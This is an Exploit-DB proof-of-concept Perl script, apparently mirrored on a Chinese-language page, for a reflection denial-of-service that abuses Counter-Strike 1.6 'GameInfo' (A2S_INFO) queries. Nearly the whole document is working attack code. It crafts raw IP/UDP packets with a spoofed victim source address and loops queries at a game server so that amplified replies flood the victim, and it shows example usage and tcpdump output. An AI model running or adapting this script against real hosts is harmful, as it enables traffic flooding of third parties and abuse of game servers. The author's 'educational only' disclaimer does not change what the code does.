Counter-Strike 1.6 – ‘GameInfo’ Query Reflection Denial of Service (PoC)

  • 作者: Todor Donev
    日期: 2015-07-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37669/
  • #!/usr/bin/perl
    #
    #Counter-Strike 1.6 'GameInfo' Query Reflection DoS
    #Proof Of Concept
    #
    #Copyright 2015 (c) Todor Donev 
    #todor.donev@gmail.com
    #http://www.ethical-hacker.org/
    #https://www.facebook.com/ethicalhackerorg
    #http://pastebin.com/u/hackerscommunity 
    #
    #
    #Disclaimer:
    #This or previous program is for Educational
    #purpose ONLY. Do not use it without permission.
    #The usual disclaimer applies, especially the
    #fact that Todor Donev is not liable for any
    #damages caused by direct or indirect use of the
    #information or functionality provided by these
    #programs. The author or any Internet provider
    #bears NO responsibility for content or misuse
    #of these programs or any derivatives thereof.
    #By using these programs you accept the fact
    #that any damage (dataloss, system crash,
    #system compromise, etc.) caused by the use
    #of these programs is not Todor Donev's
    #responsibility.
    #
    #Use at your own risk and educational 
    #purpose ONLY!
    #
    #See also, UDP-based Amplification Attacks:
    #https://www.us-cert.gov/ncas/alerts/TA14-017A
    #
    ## perl cstrike-drdos-poc.pl 46.165.194.16 192.168.1.10 27010
    #[ Counter-Strike 1.6 'GameInfo' query reflection dos poc
    #[ Sending GameInfo requests: 46.165.194.16 -> 192.168.1.10
    #^C
    #
    ## tcpdump -i eth0 -c4 port 27010
    #tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
    #listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
    #00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25
    #00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392
    #00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25
    #00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392
    #4 packets captured
    #4 packets received by filter
    #0 packets dropped by kernel
    
    
    use strict;
    use Socket;
    use warnings;
    no warnings 'uninitialized';
    
    print "[ Counter-Strike 1.6 \'GameInfo\' query reflection dos poc\n";
    die "[ Sorry, must be run as root. This script use RAW Socket.\n" if ($< != 0);
    my $css = (gethostbyname($ARGV[0]))[4]; # IP Address Destination(32 bits)
    my $victim= (gethostbyname($ARGV[1]))[4]; # IP Address Source (32 bits)
    my $port= $ARGV[2] || '27015';# Int between 1 and 65535Default: 27015
    die "[ Port must be between 1 and 65535!\n" if ($port < 1 || $port > 65535);
    if (!defined $css || !defined $victim) {
    print "[ Usg: $0 <cstrike server> <victim> <port>\n";
    print "[ Default port: 27015\n";
    print "[ <todor.donev\@gmail.com> Todor Donev\n";
    exit;
    }
    
    print "[ Sending GameInfo requests: $ARGV[0] -> $ARGV[1]\n";
    socket(RAW, AF_INET, SOCK_RAW, 255) || die $!;
    setsockopt(RAW, 0, 1, 1)|| die $!;
    main();
    
    # Main program
    sub main {
    my $packet;
    
    $packet = iphdr();
    $packet .= udphdr();
    $packet .= cshdr();
    # b000000m...
    send_packet($packet);
    }
    
    # IP header (Layer 3)
    sub iphdr {
    my $ip_ver 	= 4;# IP Version 4(4 bits)
    my $iphdr_len	= 5;# IP Header Length(4 bits)
    my $ip_tos 	= 0;# Differentiated Services (8 bits)
    my $ip_total_len 	= $iphdr_len + 20;# IP Header Length + Data(16 bits)
    my $ip_frag_id 	= 0;# Identification Field (16 bits)
    my $ip_frag_flag 	= 000;# IP Frag Flags (R DF MF) (3 bits)
    my $ip_frag_offset 	= 0000000000000;# IP Fragment Offset (13 bits)
    my $ip_ttl 	= 255;# IP TTL(8 bits)
    my $ip_proto 	= 17; # IP Protocol (8 bits)
    my $ip_checksum	= 0;# IP Checksum(16 bits)
    
    # IP Packet
    	my $iphdr = pack(
    'H2 H2 n n B16 h2 c n a4 a4',
    $ip_ver . $iphdr_len, $ip_tos, 
    $ip_total_len, $ip_frag_id, 
    $ip_frag_flag . $ip_frag_offset,
    $ip_ttl, $ip_proto, $ip_checksum,
    $victim, $css
    );
    return $iphdr;
    }
    
    # UDP Header (Layer 4)
    sub udphdr {
    my $udp_src_port	= 31337;# UDP Sort Port (16 bits) (0-65535)
    my $udp_dst_port	= $port;# UDP Dest Port (16 btis) (0-65535)
    my $udp_len		= 8 + length(cshdr());# UDP Length(16 bits) (0-65535)
    my $udp_checksum 	= 0;# UDP Checksum(16 bits) (XOR of header)
    
    # UDP Packet
    my $udphdr		= pack(
    			'n n n n',
    			$udp_src_port, 
    			$udp_dst_port,
    			$udp_len, 
    			$udp_checksum
    			);
    	return $udphdr;
    }
    
     # Counter-Strike 'GameInfo' request 
    sub cshdr {
    
    #
    # https://developer.valvesoftware.com/wiki/Server_queries
    #
    # https://developer.valvesoftware.com/wiki/Source_RCON_Protocol
    # Requests
    # The server responds to 5 queries:
    #
    #A2S_INFO 'T' (0x54) 
    #Basic information about the server. 
    #A2S_PLAYER 'U' (0x55)
    #Details about each player on the server. 
    #A2S_RULES'V' (0x56) 
    #The rules the server is using. 
    #A2A_PING 'i' (0x69)
    #Ping the server. (DEPRECATED) 
    # A2S_SERVERQUERY_GETCHALLENGE'W' (0x57)
    #Returns a challenge number for use in the player and rules query. (DEPRECATED) 
    #
    # Queries should be sent in UDP packets to the listen port of the server. 
    #
     
    # 25 bytes - A2S_INFO
    my $query= "\xff\xff\xff\xff\x54";# 0000 ff ff ff ff 54 53 6f 75 72 63 65 20 45 6e 67 69....TSource Engi
     $query .= "\x53\x6f\x75\x72\x63";# 0010 6e 65 20 51 75 65 72 79 00 ne Query.
     $query .= "\x65\x20\x45\x6e\x67";	
     $query .= "\x69\x6e\x65\x20\x51";	
     $query .= "\x75\x65\x72\x79\x00";	
    
    my $cshdr= pack('a*', $query);
    return $cshdr;
    }
    
    sub send_packet {
    while(1){
    select(undef, undef, undef, 0.40);# Sleep 400 milliseconds
    send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $css))|| die $!;
     }
    }